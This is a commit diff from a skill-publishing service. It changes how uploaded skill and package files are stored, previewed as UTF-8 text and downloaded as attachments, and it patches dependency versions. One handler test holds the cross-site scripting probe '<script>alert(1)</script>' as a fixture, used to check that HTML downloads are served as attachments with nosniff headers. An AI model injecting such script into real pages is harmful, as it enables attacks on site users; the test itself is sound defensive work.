admin/clawhub
1
0
Fork 0
mirror of https://github.com/openclaw/clawhub.git synced 2026-08-14 00:47:57 +00:00
Code Issues Packages Projects Releases Wiki Activity

fix: publish complete skill artifacts (#3196)

Browse Source 
* fix: preserve complete skill artifacts

* test: align artifact metadata expectations

* fix: harden complete skill artifact handling

* fix: close complete artifact review gaps

* fix: preserve legacy skill file metadata hints

* fix: close artifact presentation review gaps

* fix(cli): preserve legacy skill file collector export

* refactor: centralize artifact upload helpers

* fix: preserve artifact scan and publish bounds

* fix: scan complete published text artifacts

* fix: harden artifact download presentation

* test: avoid secret-like fixture text

* refactor: preview artifacts by content

* chore(deps): patch transitive audit advisories
This commit is contained in:
Patrick Erichsen
2026-07-20 15:54:47 -07:00
committed by GitHub
parent 39a8db49fd
commit 3097319ef6
73 changed files with 1824 additions and 978 deletions
Download Patch File Download Diff File Expand all files Collapse all files
bun.lock
+6 -3
View File
@@ -161,10 +161,13 @@
},
"overrides": {
"ast-v8-to-istanbul": "1.0.4",
"brace-expansion": "5.0.7",
"dompurify": "3.4.11",
"esbuild": "0.28.1",
"js-yaml": "4.3.0",
"next": "16.2.6",
"postcss": "8.5.12",
"shell-quote": "1.10.0",
"undici": "7.28.0",
"ws": "8.21.0",
},
@@ -1049,7 +1052,7 @@
"bidi-js": ["bidi-js@1.0.3", "", { "dependencies": { "require-from-string": "^2.0.2" } }, "sha512-RKshQI1R3YQ+n9YJz2QQ147P66ELpa1FQEg20Dk8oW9t2KgLbpDLLp9aGZ7y8WHSshDknG0bknqGw5/tyCs5tw=="],
"brace-expansion": ["brace-expansion@5.0.6", "", { "dependencies": { "balanced-match": "^4.0.2" } }, "sha512-kLpxurY4Z4r9sgMsyG0Z9uzsBlgiU/EFKhj/h91/8yHu0edo7XuixOIH3VcJ8kkxs6/jPzoI6U9Vj3WqbMQ94g=="],
"brace-expansion": ["brace-expansion@5.0.7", "", { "dependencies": { "balanced-match": "^4.0.2" } }, "sha512-7oFy703dxfY3/NLxC1fh2SUCQ0H9rmAY+5EpDVfXjUTTs+HEwR2nYaqLv+GWcTsumwxPfiz6CzCNkwXwBUwqCA=="],
"browserslist": ["browserslist@4.28.2", "", { "dependencies": { "baseline-browser-mapping": "^2.10.12", "caniuse-lite": "^1.0.30001782", "electron-to-chromium": "^1.5.328", "node-releases": "^2.0.36", "update-browserslist-db": "^1.2.3" }, "bin": { "browserslist": "cli.js" } }, "sha512-48xSriZYYg+8qXna9kwqjIVzuQxi+KYWp2+5nCYnYKPTr0LvD89Jqk2Or5ogxz0NUMfIjhh2lIUX/LyX9B4oIg=="],
@@ -1383,7 +1386,7 @@
"js-tokens": ["js-tokens@4.0.0", "", {}, "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ=="],
"js-yaml": ["js-yaml@4.2.0", "", { "dependencies": { "argparse": "^2.0.1" }, "bin": { "js-yaml": "bin/js-yaml.js" } }, "sha512-ePWsvanv0DWuDRsW8dnt+R4jQ31SCRCQ7hhNcPXZPsoBZiemuZNYGf7adZdqX2D86j6rvKp3RpCxVTSb8WQlOw=="],
"js-yaml": ["js-yaml@4.3.0", "", { "dependencies": { "argparse": "^2.0.1" }, "bin": { "js-yaml": "bin/js-yaml.js" } }, "sha512-1td788aAnnZ5qs7V2QIRl1owjtYpbKt749Y3xauqQgwIIGF/xXWz1wMTEBx5O3LK3lXLVuqXPdPxj2BoFHaW9Q=="],
"jsdom": ["jsdom@29.1.1", "", { "dependencies": { "@asamuzakjp/css-color": "^5.1.11", "@asamuzakjp/dom-selector": "^7.1.1", "@bramus/specificity": "^2.4.2", "@csstools/css-syntax-patches-for-csstree": "^1.1.3", "@exodus/bytes": "^1.15.0", "css-tree": "^3.2.1", "data-urls": "^7.0.0", "decimal.js": "^10.6.0", "html-encoding-sniffer": "^6.0.0", "is-potential-custom-element-name": "^1.0.1", "lru-cache": "^11.3.5", "parse5": "^8.0.1", "saxes": "^6.0.0", "symbol-tree": "^3.2.4", "tough-cookie": "^6.0.1", "undici": "^7.25.0", "w3c-xmlserializer": "^5.0.0", "webidl-conversions": "^8.0.1", "whatwg-mimetype": "^5.0.0", "whatwg-url": "^16.0.1", "xml-name-validator": "^5.0.0" }, "peerDependencies": { "canvas": "^3.0.0" }, "optionalPeers": ["canvas"] }, "sha512-ECi4Fi2f7BdJtUKTflYRTiaMxIB0O6zfR1fX0GXpUrf6flp8QIYn1UT20YQqdSOfk2dfkCwS8LAFoJDEppNK5Q=="],
@@ -1753,7 +1756,7 @@
"sharp": ["sharp@0.35.3", "", { "dependencies": { "@img/colour": "^1.1.0", "detect-libc": "^2.1.2", "semver": "^7.8.5" }, "optionalDependencies": { "@img/sharp-darwin-arm64": "0.35.3", "@img/sharp-darwin-x64": "0.35.3", "@img/sharp-freebsd-wasm32": "0.35.3", "@img/sharp-libvips-darwin-arm64": "1.3.2", "@img/sharp-libvips-darwin-x64": "1.3.2", "@img/sharp-libvips-linux-arm": "1.3.2", "@img/sharp-libvips-linux-arm64": "1.3.2", "@img/sharp-libvips-linux-ppc64": "1.3.2", "@img/sharp-libvips-linux-riscv64": "1.3.2", "@img/sharp-libvips-linux-s390x": "1.3.2", "@img/sharp-libvips-linux-x64": "1.3.2", "@img/sharp-libvips-linuxmusl-arm64": "1.3.2", "@img/sharp-libvips-linuxmusl-x64": "1.3.2", "@img/sharp-linux-arm": "0.35.3", "@img/sharp-linux-arm64": "0.35.3", "@img/sharp-linux-ppc64": "0.35.3", "@img/sharp-linux-riscv64": "0.35.3", "@img/sharp-linux-s390x": "0.35.3", "@img/sharp-linux-x64": "0.35.3", "@img/sharp-linuxmusl-arm64": "0.35.3", "@img/sharp-linuxmusl-x64": "0.35.3", "@img/sharp-webcontainers-wasm32": "0.35.3", "@img/sharp-win32-arm64": "0.35.3", "@img/sharp-win32-ia32": "0.35.3", "@img/sharp-win32-x64": "0.35.3" }, "peerDependencies": { "@types/node": "*" }, "optionalPeers": ["@types/node"] }, "sha512-ej0zVHuZGHCiABXcNxeYhpRnPNPAcvbG8RMdBAhDAxLKkCRVSpK3Iyu7qbqw3JMzoj0REeM6f3tJLtVwl0023Q=="],
"shell-quote": ["shell-quote@1.8.4", "", {}, "sha512-VsC6n6vz1ihYYyZZwX7YZSF5l5x36ca17OC+a69h94YqB7X6XLwf+5MOgynYir2SLFUbl8gIYvBo8K8RoNQ6bQ=="],
"shell-quote": ["shell-quote@1.10.0", "", {}, "sha512-w1aiOKwKuRgtwAReIIj89puqg+I7GvX4IbLrvmhXbzQsj1+Zwi4VO3+fa6ZF91TWSjIxoEkKnMeHcLEODK5ZXA=="],
"shiki": ["shiki@4.3.1", "", { "dependencies": { "@shikijs/core": "4.3.1", "@shikijs/engine-javascript": "4.3.1", "@shikijs/engine-oniguruma": "4.3.1", "@shikijs/langs": "4.3.1", "@shikijs/themes": "4.3.1", "@shikijs/types": "4.3.1", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4" } }, "sha512-oR+qDVi2OjX1tmDpyv+3KviX01KzO6Af+0NNnKnsp9491UEGz2YpxTuJboS/6VhYpTdqzmuJBuiTlrAWWJAssw=="],
convex/githubImport.test.ts
-9
View File
@@ -86,15 +86,6 @@ describe("githubImport", () => {
]);
});
it("uses publish-supported text extensions for tree path imports", () => {
expect(__test.isPreviewFetchableTextPath("skill/SKILL.md")).toBe(true);
expect(__test.isPreviewFetchableTextPath("skill/icon.svg")).toBe(true);
expect(__test.isPreviewFetchableTextPath("skill/styles.scss")).toBe(true);
expect(__test.isPreviewFetchableTextPath("skill/install.ps1")).toBe(true);
expect(__test.isPreviewFetchableTextPath("skill/config.conf")).toBe(true);
expect(__test.isPreviewFetchableTextPath("skill/binary.exe")).toBe(false);
});
it("rejects a public repo owned by another GitHub account before repo lookup", async () => {
const ctx = {
runQuery: vi.fn().mockResolvedValue("123"),
convex/githubImport.ts
+8 -12
View File
@@ -13,7 +13,7 @@ import {
detectGitHubImportCandidates,
fetchGitHubZipBytes,
isGitHubSkillFilePath,
listTextFilesUnderCandidate,
listFilesUnderCandidate,
normalizeRepoPath,
parseGitHubImportUrl,
resolveGitHubCommit,
@@ -22,7 +22,7 @@ import {
suggestVersion,
} from "./lib/githubImport";
import { publishVersionForUser } from "./lib/skillPublish";
import { isMacJunkPath, isTextFile, sanitizePath } from "./lib/skills";
import { isMacJunkPath, sanitizePath } from "./lib/skills";
const MAX_SELECTED_BYTES = 50 * 1024 * 1024;
const MAX_UNZIPPED_BYTES = 80 * 1024 * 1024;
@@ -183,7 +183,7 @@ async function previewGitHubImportCandidateForUser(
const candidate = candidates.find((item) => item.path === normalizedCandidatePath);
if (!candidate) throw new ConvexError("Candidate not found");
const files = listTextFilesUnderCandidate(entries, candidate.path);
const files = listFilesUnderCandidate(entries, candidate.path);
const defaultSelectedPaths = computeDefaultSelectedPaths({ candidate, files });
const fileList = buildGitHubImportFileList({
candidate,
@@ -291,7 +291,7 @@ async function importGitHubSkillForUser(
const candidate = candidates.find((item) => item.path === normalizedCandidatePath);
if (!candidate) throw new ConvexError("Candidate not found");
const filesUnderCandidate = listTextFilesUnderCandidate(entries, candidate.path);
const filesUnderCandidate = listFilesUnderCandidate(entries, candidate.path);
const byPath = new Map(filesUnderCandidate.map((file) => [file.path, file.bytes]));
const selected = Array.from(
@@ -332,7 +332,9 @@ async function importGitHubSkillForUser(
const safeBytes = new Uint8Array(bytes);
let storageId: Id<"_storage">;
try {
storageId = await ctx.storage.store(new Blob([safeBytes], { type: "text/plain" }));
storageId = await ctx.storage.store(
new Blob([safeBytes], { type: "application/octet-stream" }),
);
} catch (error) {
throw new ConvexError(buildStoreFailureMessage(sanitized, bytes.byteLength, error));
}
@@ -341,7 +343,7 @@ async function importGitHubSkillForUser(
size: bytes.byteLength,
storageId,
sha256,
contentType: "text/plain",
contentType: "application/octet-stream",
});
}
@@ -737,7 +739,6 @@ function toImportableTreeBlob(entry: GitHubTreeEntryPayload, prefix: string) {
const path = normalizeRepoPath(entry.path);
if (!path || !path.startsWith(prefix)) return null;
if (isMacJunkPath(path)) return null;
if (!isPreviewFetchableTextPath(path)) return null;
const size = typeof entry.size === "number" && Number.isFinite(entry.size) ? entry.size : 0;
return { path, sha: entry.sha, size };
}
@@ -754,10 +755,6 @@ async function fetchGitHubBlobBytes(
return new Uint8Array(await response.arrayBuffer());
}
function isPreviewFetchableTextPath(path: string) {
return isTextFile(path);
}
async function fetchGitHubRepoTree(
owner: string,
repo: string,
@@ -993,7 +990,6 @@ export const __test = {
buildPublishFailureMessage,
buildStoreFailureMessage,
importGitHubSkillForUser,
isPreviewFetchableTextPath,
listOwnedPublicGitHubReposForUser,
listSkillCandidatesForRepo,
previewGitHubImportCandidateForUser,
convex/githubSkillSync.ts
+5 -3
View File
@@ -5,6 +5,7 @@ import type { Doc, Id } from "./_generated/dataModel";
import type { ActionCtx, MutationCtx, QueryCtx } from "./_generated/server";
import { action, internalMutation, internalQuery } from "./functions";
import { assertAdmin, requireUserFromAction } from "./lib/access";
import { decodeBoundedUtf8Text } from "./lib/artifactText";
import { buildGitHubApiHeaders } from "./lib/githubAuth";
import {
fetchGitHubZipBytes,
@@ -27,7 +28,7 @@ import { runStaticModerationScan } from "./lib/moderationEngine";
import { Events, logErrorEvent, logEvent } from "./lib/observabilityEvents";
import { isOfficialPublisher } from "./lib/officialPublishers";
import { requirePublisherRole } from "./lib/publishers";
import { isMacJunkPath, isTextFile, parseFrontmatter } from "./lib/skills";
import { isMacJunkPath, parseFrontmatter } from "./lib/skills";
import { chunkSkillScanRequestFiles } from "./lib/skillScanRequestFiles";
import { syncSkillSearchDigestForSkill } from "./lib/skillSearchDigest";
import { assertValidSkillSlug } from "./lib/skillSlugValidator";
@@ -1298,10 +1299,11 @@ function listGitHubSkillTextContents(entries: Record<string, Uint8Array>, folder
const textFiles = [];
for (const [path, bytes] of listGitHubSkillFolderEntries(entries, folderPath)) {
if (textFiles.length >= MAX_STATIC_SCAN_TEXT_FILES) break;
if (!isTextFile(path, undefined)) continue;
const content = decodeBoundedUtf8Text(bytes, MAX_STATIC_SCAN_TEXT_FILE_BYTES);
if (content === null) continue;
textFiles.push({
path,
content: new TextDecoder().decode(bytes.slice(0, MAX_STATIC_SCAN_TEXT_FILE_BYTES)),
content,
});
}
return textFiles;
convex/httpApiV1.handlers.test.ts
+334 -16
View File
@@ -4961,7 +4961,7 @@ describe("httpApiV1 handlers", () => {
expect(await response.text()).toBe("Version not found");
});
it("returns raw file content", async () => {
it("previews UTF-8 Terraform by bytes and downloads the raw file", async () => {
const internalVersion = {
skillId: "skills:1",
version: "1.0.0",
@@ -4969,11 +4969,11 @@ describe("httpApiV1 handlers", () => {
changelog: "c",
files: [
{
path: "SKILL.md",
size: 5,
path: "main.tf",
size: 37,
storageId: "storage:1",
sha256: "abcd",
contentType: "text/plain",
contentType: "application/octet-stream",
},
],
softDeletedAt: undefined,
@@ -5002,16 +5002,211 @@ describe("httpApiV1 handlers", () => {
return null;
});
const runMutation = vi.fn().mockResolvedValue(okRate());
const terraform = 'resource "null_resource" "demo" {}\n';
const storage = {
get: vi.fn().mockResolvedValue(new Blob(["hello"], { type: "text/plain" })),
get: vi.fn().mockResolvedValue(new Blob([terraform], { type: "application/octet-stream" })),
};
const response = await __handlers.skillsGetRouterV1Handler(
const previewResponse = await __handlers.skillsGetRouterV1Handler(
makeCtx({ runQuery, runMutation, storage }),
new Request("https://example.com/api/v1/skills/demo/file?path=SKILL.md"),
new Request("https://example.com/api/v1/skills/demo/file?path=main.tf&preview=1"),
);
expect(previewResponse.status).toBe(200);
expect(await previewResponse.text()).toBe(terraform);
expect(previewResponse.headers.get("X-Content-SHA256")).toBe("abcd");
expect(previewResponse.headers.get("Content-Type")).toBe("text/plain; charset=utf-8");
expect(previewResponse.headers.get("Content-Disposition")).toBeNull();
const rawResponse = await __handlers.skillsGetRouterV1Handler(
makeCtx({ runQuery, runMutation, storage }),
new Request("https://example.com/api/v1/skills/demo/file?path=main.tf"),
);
expect(rawResponse.status).toBe(200);
expect(new Uint8Array(await rawResponse.arrayBuffer())).toEqual(
new TextEncoder().encode(terraform),
);
expect(rawResponse.headers.get("Content-Type")).toBe("application/octet-stream");
expect(rawResponse.headers.get("Content-Disposition")).toBe(
"attachment; filename*=UTF-8''main.tf",
);
});
it("preserves raw UTF-8 bytes exactly and downloads every file type", async () => {
const bomBytes = Uint8Array.from([0xef, 0xbb, 0xbf, 0x61]);
const markdownBytes = new TextEncoder().encode("# Demo\n");
const htmlBytes = new TextEncoder().encode("<script>alert(1)</script>");
const pdfBytes = new TextEncoder().encode("%PDF-1.7\n");
const internalVersion = {
skillId: "skills:1",
version: "1.0.0",
createdAt: 1,
changelog: "c",
files: [
{
path: "bom.txt",
size: bomBytes.byteLength,
storageId: "storage:bom",
sha256: "bom-sha",
contentType: "text/plain",
},
{
path: "README.md",
size: markdownBytes.byteLength,
storageId: "storage:markdown",
sha256: "markdown-sha",
contentType: "text/markdown",
},
{
path: "demo.html",
size: htmlBytes.byteLength,
storageId: "storage:html",
sha256: "html-sha",
contentType: "text/html",
},
{
path: "demo.pdf",
size: pdfBytes.byteLength,
storageId: "storage:pdf",
sha256: "pdf-sha",
contentType: "application/pdf",
},
],
softDeletedAt: undefined,
};
const runQuery = vi.fn(async (_query: unknown, args: Record<string, unknown>) => {
if ("slug" in args) {
return {
skill: {
_id: "skills:1",
slug: "demo",
displayName: "Demo",
summary: "s",
tags: {},
stats: {},
createdAt: 1,
updatedAt: 2,
latestVersionId: "skillVersions:1",
},
latestVersion: { _id: "skillVersions:1", version: "1.0.0" },
owner: null,
};
}
if ("versionId" in args) return internalVersion;
return null;
});
const storage = {
get: vi.fn(async (storageId: string) => {
if (storageId === "storage:bom") return new Blob([bomBytes], { type: "text/plain" });
if (storageId === "storage:markdown") {
return new Blob([markdownBytes], { type: "text/markdown" });
}
if (storageId === "storage:html") return new Blob([htmlBytes], { type: "text/html" });
return new Blob([pdfBytes], { type: "application/pdf" });
}),
};
const ctx = makeCtx({
runQuery,
runMutation: vi.fn().mockResolvedValue(okRate()),
storage,
});
const bomResponse = await __handlers.skillsGetRouterV1Handler(
ctx,
new Request("https://example.com/api/v1/skills/demo/file?path=bom.txt"),
);
expect(new Uint8Array(await bomResponse.arrayBuffer())).toEqual(bomBytes);
expect(bomResponse.headers.get("Content-Disposition")).toBe(
"attachment; filename*=UTF-8''bom.txt",
);
const markdownResponse = await __handlers.skillsGetRouterV1Handler(
ctx,
new Request("https://example.com/api/v1/skills/demo/file?path=README.md"),
);
expect(new Uint8Array(await markdownResponse.arrayBuffer())).toEqual(markdownBytes);
expect(markdownResponse.headers.get("Content-Disposition")).toBe(
"attachment; filename*=UTF-8''README.md",
);
const htmlResponse = await __handlers.skillsGetRouterV1Handler(
ctx,
new Request("https://example.com/api/v1/skills/demo/file?path=demo.html"),
);
expect(new Uint8Array(await htmlResponse.arrayBuffer())).toEqual(htmlBytes);
expect(htmlResponse.headers.get("Content-Disposition")).toBe(
"attachment; filename*=UTF-8''demo.html",
);
expect(htmlResponse.headers.get("Content-Type")).toBe("text/html");
expect(htmlResponse.headers.get("X-Content-Type-Options")).toBe("nosniff");
const pdfResponse = await __handlers.skillsGetRouterV1Handler(
ctx,
new Request("https://example.com/api/v1/skills/demo/file?path=demo.pdf"),
);
expect(new Uint8Array(await pdfResponse.arrayBuffer())).toEqual(pdfBytes);
expect(pdfResponse.headers.get("Content-Disposition")).toBe(
"attachment; filename*=UTF-8''demo.pdf",
);
expect(pdfResponse.headers.get("Content-Type")).toBe("application/pdf");
});
it("returns opaque skill files as exact-byte attachments", async () => {
const opaqueBytes = Uint8Array.from([0, 1, 2, 255]);
const internalVersion = {
skillId: "skills:1",
version: "1.0.0",
createdAt: 1,
changelog: "c",
files: [
{
path: "assets/payload.bin",
size: opaqueBytes.byteLength,
storageId: "storage:opaque",
sha256: "opaque-sha",
contentType: "application/octet-stream",
},
],
softDeletedAt: undefined,
};
const runQuery = vi.fn(async (_query: unknown, args: Record<string, unknown>) => {
if ("slug" in args) {
return {
skill: {
_id: "skills:1",
slug: "demo",
displayName: "Demo",
summary: "s",
tags: {},
stats: {},
createdAt: 1,
updatedAt: 2,
latestVersionId: "skillVersions:1",
},
latestVersion: { _id: "skillVersions:1", version: "1.0.0" },
owner: null,
};
}
if ("versionId" in args) return internalVersion;
return null;
});
const response = await __handlers.skillsGetRouterV1Handler(
makeCtx({
runQuery,
runMutation: vi.fn().mockResolvedValue(okRate()),
storage: {
get: vi
.fn()
.mockResolvedValue(new Blob([opaqueBytes], { type: "application/octet-stream" })),
},
}),
new Request("https://example.com/api/v1/skills/demo/file?path=assets%2Fpayload.bin"),
);
expect(response.status).toBe(200);
expect(await response.text()).toBe("hello");
expect(response.headers.get("X-Content-SHA256")).toBe("abcd");
expect(new Uint8Array(await response.arrayBuffer())).toEqual(opaqueBytes);
expect(response.headers.get("Content-Disposition")).toBe(
"attachment; filename*=UTF-8''payload.bin",
);
expect(response.headers.get("X-Content-SHA256")).toBe("opaque-sha");
});
it("looks up raw files in the requested owner namespace", async () => {
@@ -6415,7 +6610,8 @@ describe("httpApiV1 handlers", () => {
expect(body).toContain("/api/v1/skills/demo/file?ownerHandle=<owner>&path=SKILL.md");
});
it("returns 413 when raw file too large", async () => {
it("serves raw skill files above the preview limit", async () => {
const fileBytes = new Uint8Array(210 * 1024).fill(97);
const internalVersion = {
skillId: "skills:1",
version: "1.0.0",
@@ -6424,7 +6620,7 @@ describe("httpApiV1 handlers", () => {
files: [
{
path: "SKILL.md",
size: 210 * 1024,
size: fileBytes.byteLength,
storageId: "storage:1",
sha256: "abcd",
contentType: "text/plain",
@@ -6457,10 +6653,17 @@ describe("httpApiV1 handlers", () => {
});
const runMutation = vi.fn().mockResolvedValue(okRate());
const response = await __handlers.skillsGetRouterV1Handler(
makeCtx({ runQuery, runMutation, storage: { get: vi.fn() } }),
makeCtx({
runQuery,
runMutation,
storage: {
get: vi.fn().mockResolvedValue(new Blob([fileBytes], { type: "text/plain" })),
},
}),
new Request("https://example.com/api/v1/skills/demo/file?path=SKILL.md"),
);
expect(response.status).toBe(413);
expect(response.status).toBe(200);
expect(new Uint8Array(await response.arrayBuffer())).toEqual(fileBytes);
});
it("publish json succeeds", async () => {
@@ -6819,7 +7022,7 @@ describe("httpApiV1 handlers", () => {
expect(publishVersionForUser).not.toHaveBeenCalled();
});
it("publish multipart succeeds", async () => {
it("publish multipart preserves Terraform and opaque files", async () => {
vi.mocked(requireApiTokenUser).mockResolvedValueOnce({
userId: "users:1",
user: { handle: "p" },
@@ -6847,9 +7050,24 @@ describe("httpApiV1 handlers", () => {
tags: ["latest"],
}),
);
form.append("files", new Blob(["hello"], { type: "text/plain" }), "SKILL.md");
const terraform = 'resource "null_resource" "demo" {}\n';
const variables = 'region = "us-east-1"\n';
const opaqueBytes = Uint8Array.from([0, 1, 2, 255]);
form.append("files", new Blob(["# Demo\n"], { type: "text/markdown" }), "SKILL.md");
form.append("files", new Blob([terraform]), "main.tf");
form.append("files", new Blob([variables]), "terraform.tfvars");
form.append(
"files",
new Blob([opaqueBytes], { type: "application/octet-stream" }),
"assets/payload.bin",
);
const storedBlobs: Blob[] = [];
const store = vi.fn(async (blob: Blob) => {
storedBlobs.push(blob);
return `storage:${storedBlobs.length}`;
});
const response = await __handlers.publishSkillV1Handler(
makeCtx({ runMutation, storage: { store: vi.fn().mockResolvedValue("storage:1") } }),
makeCtx({ runMutation, storage: { store } }),
new Request("https://example.com/api/v1/skills", {
method: "POST",
headers: { Authorization: "Bearer clh_test" },
@@ -6859,6 +7077,21 @@ describe("httpApiV1 handlers", () => {
if (response.status !== 200) {
throw new Error(await response.text());
}
expect(store).toHaveBeenCalledTimes(4);
const publishArgs = vi.mocked(publishVersionForUser).mock.calls[0]?.[2] as {
files?: Array<{ path: string; storageId: string; size: number; contentType?: string }>;
};
expect(publishArgs.files?.map((file) => file.path)).toEqual([
"SKILL.md",
"main.tf",
"terraform.tfvars",
"assets/payload.bin",
]);
expect(await storedBlobs[1]?.text()).toBe(terraform);
expect(await storedBlobs[2]?.text()).toBe(variables);
expect(new Uint8Array((await storedBlobs[3]?.arrayBuffer()) ?? new ArrayBuffer(0))).toEqual(
opaqueBytes,
);
});
it("publish multipart resolves requested owner publisher", async () => {
@@ -13354,6 +13587,91 @@ describe("httpApiV1 handlers", () => {
});
});
it("package file previews UTF-8 by bytes and downloads opaque artifacts", async () => {
const runMutation = vi.fn().mockResolvedValue(okRate());
const runQuery = vi.fn(async (_query: unknown, args: Record<string, unknown>) => {
if ("name" in args) {
return {
package: {
_id: "packages:1",
name: "demo-plugin",
displayName: "Demo Plugin",
family: "code-plugin",
tags: {},
latestReleaseId: "packageReleases:1",
channel: "community",
isOfficial: false,
createdAt: 1,
updatedAt: 1,
},
latestRelease: null,
owner: null,
};
}
if ("releaseId" in args) {
return {
_id: "packageReleases:1",
version: "1.0.0",
createdAt: 1,
changelog: "init",
files: [
{
path: "main.tf",
size: 37,
sha256: "b".repeat(64),
storageId: "storage:text",
contentType: "application/octet-stream",
},
{
path: "assets/payload.bin",
size: 4,
sha256: "a".repeat(64),
storageId: "storage:1",
contentType: "application/octet-stream",
},
],
};
}
return null;
});
const terraform = 'resource "null_resource" "demo" {}\n';
const opaqueBytes = Uint8Array.from([0, 1, 2, 255]);
const storage = {
get: vi.fn(async (storageId: string) =>
storageId === "storage:text"
? new Blob([terraform], { type: "application/octet-stream" })
: new Blob([opaqueBytes], { type: "application/octet-stream" }),
),
};
const previewResponse = await __handlers.packagesGetRouterV1Handler(
makeCtx({ runQuery, runMutation, storage }),
new Request("https://example.com/api/v1/packages/demo-plugin/file?path=main.tf&preview=1"),
);
expect(previewResponse.status).toBe(200);
await expect(previewResponse.text()).resolves.toBe(terraform);
expect(previewResponse.headers.get("Content-Type")).toBe("text/plain; charset=utf-8");
const opaquePreviewResponse = await __handlers.packagesGetRouterV1Handler(
makeCtx({ runQuery, runMutation, storage }),
new Request(
"https://example.com/api/v1/packages/demo-plugin/file?path=assets%2Fpayload.bin&preview=1",
),
);
expect(opaquePreviewResponse.status).toBe(415);
await expect(opaquePreviewResponse.text()).resolves.toBe("File cannot be previewed as text");
const rawResponse = await __handlers.packagesGetRouterV1Handler(
makeCtx({ runQuery, runMutation, storage }),
new Request("https://example.com/api/v1/packages/demo-plugin/file?path=assets%2Fpayload.bin"),
);
expect(rawResponse.status).toBe(200);
expect(new Uint8Array(await rawResponse.arrayBuffer())).toEqual(opaqueBytes);
expect(rawResponse.headers.get("Content-Disposition")).toBe(
"attachment; filename*=UTF-8''payload.bin",
);
});
it("package file resolves lowercase readme variants from the canonical request path", async () => {
const runMutation = vi.fn().mockResolvedValue(okRate());
const runQuery = vi.fn(async (_query: unknown, args: Record<string, unknown>) => {
convex/httpApiV1/packagesV1.ts
+32 -26
View File
@@ -16,6 +16,7 @@ import {
PackageTransferRequestSchema,
PackageTrustedPublisherUpsertRequestSchema,
PublishTokenMintRequestSchema,
normalizeContentType,
isPluginCategorySlug,
parseArk,
type PackagePublishMetadata,
@@ -64,7 +65,7 @@ import {
getSkillFileModerationInfoFromSkill,
isSkillVersionForSkill,
} from "../lib/skillFileAccess";
import { isMacJunkPath, isTextFile } from "../lib/skills";
import { isMacJunkPath } from "../lib/skills";
import {
buildDeterministicPackageZip,
buildMergedExportZip,
@@ -82,7 +83,8 @@ import {
requireApiTokenUserOrResponse,
requireAdminOrResponse,
requirePackagePublishAuthOrResponse,
safeTextFileResponse,
safeStoredFilePreviewResponse,
safeStoredFileResponse,
softDeleteErrorToResponse,
ambiguousSkillSlugResponse,
type AmbiguousSkillSlugChoice,
@@ -1267,13 +1269,7 @@ type PackagePublishTarballPart =
uploadTicket: Id<"packagePublishUploadTickets">;
};
function inferStoredPackageContentType(path: string) {
const lower = path.toLowerCase();
if (lower.endsWith(".json")) return "application/json";
if (lower.endsWith(".js") || lower.endsWith(".mjs") || lower.endsWith(".cjs")) {
return "text/javascript; charset=utf-8";
}
if (isTextFile(path)) return "text/plain; charset=utf-8";
function defaultStoredPackageContentType() {
return "application/octet-stream";
}
@@ -1287,7 +1283,7 @@ async function storeClawPackFile(
ctx: ActionCtx,
entry: { path: string; bytes: Uint8Array },
): Promise<StoredPackagePublishFile> {
const contentType = inferStoredPackageContentType(entry.path);
const contentType = defaultStoredPackageContentType();
const storageId = await ctx.storage.store(
new Blob([bytesToArrayBuffer(entry.bytes)], { type: contentType }),
);
@@ -1320,7 +1316,7 @@ async function storeUploadedPackageFile(
throw new Error(getPublishFileSizeError(entry.name));
}
const buffer = new Uint8Array(await entry.arrayBuffer());
const contentType = inferStoredPackageContentType(entry.name);
const contentType = normalizeContentType(entry.type) ?? defaultStoredPackageContentType();
const storageId = await ctx.storage.store(
new Blob([bytesToArrayBuffer(buffer)], { type: contentType }),
);
@@ -4026,8 +4022,10 @@ export async function packagesGetRouterV1Handler(ctx: ActionCtx, request: Reques
}
if (packageSegments[0] === "file") {
const path = new URL(request.url).searchParams.get("path")?.trim();
const requestUrl = new URL(request.url);
const path = requestUrl.searchParams.get("path")?.trim();
if (!path) return text("Missing path", 400, rate.headers);
const preview = requestUrl.searchParams.get("preview") === "1";
if (skillDetail?.skill) {
const version = await getSkillVersionForRequest(ctx, skillDetail.skill, request);
if (!version || version.softDeletedAt) return text("Version not found", 404, rate.headers);
@@ -4044,14 +4042,22 @@ export async function packagesGetRouterV1Handler(ctx: ActionCtx, request: Reques
if (!file) return text("File not found", 404, rate.headers);
if (!("storageId" in file) || !file.storageId)
return text("File not found", 404, rate.headers);
if (!isTextFile(file.path, file.contentType)) {
return text("Binary files are not served inline", 415, rate.headers);
}
if (file.size > MAX_RAW_FILE_BYTES) return text("File too large", 413, rate.headers);
const maxBytes = preview ? MAX_RAW_FILE_BYTES : MAX_PUBLISH_FILE_BYTES;
if (file.size > maxBytes) return text("File too large", 413, rate.headers);
const blob = await ctx.storage.get(file.storageId);
if (!blob) return text("File not found", 404, rate.headers);
return safeTextFileResponse({
textContent: await blob.text(),
if (preview) {
return await safeStoredFilePreviewResponse({
blob,
path: file.path,
contentType: file.contentType,
sha256: file.sha256,
size: file.size,
headers: rate.headers,
});
}
return await safeStoredFileResponse({
blob,
path: file.path,
contentType: file.contentType,
sha256: file.sha256,
@@ -4065,21 +4071,21 @@ export async function packagesGetRouterV1Handler(ctx: ActionCtx, request: Reques
if (securityBlock) return text(securityBlock.message, securityBlock.status, rate.headers);
const file = resolvePackageFilePath(release, path);
if (!file) return text("File not found", 404, rate.headers);
if (!isTextFile(file.path, file.contentType)) {
return text("Binary files are not served inline", 415, rate.headers);
}
if (file.size > MAX_RAW_FILE_BYTES) return text("File too large", 413, rate.headers);
const maxBytes = preview ? MAX_RAW_FILE_BYTES : MAX_PUBLISH_FILE_BYTES;
if (file.size > maxBytes) return text("File too large", 413, rate.headers);
const blob = await ctx.storage.get(file.storageId);
if (!blob) return text("File not found", 404, rate.headers);
const textContent = await blob.text();
return safeTextFileResponse({
textContent,
const responseParams = {
blob,
path: file.path,
contentType: file.contentType,
sha256: file.sha256,
size: file.size,
headers: rate.headers,
});
};
return preview
? await safeStoredFilePreviewResponse(responseParams)
: await safeStoredFileResponse(responseParams);
}
if (packageSegments[0] === "download") {
convex/httpApiV1/shared.ts
+55 -15
View File
@@ -1,4 +1,9 @@
import { CliPublishRequestSchema, normalizeTextContentType, parseArk } from "clawhub-schema";
import {
CliPublishRequestSchema,
decodeUtf8Text,
normalizeContentType,
parseArk,
} from "clawhub-schema";
import { internal } from "../_generated/api";
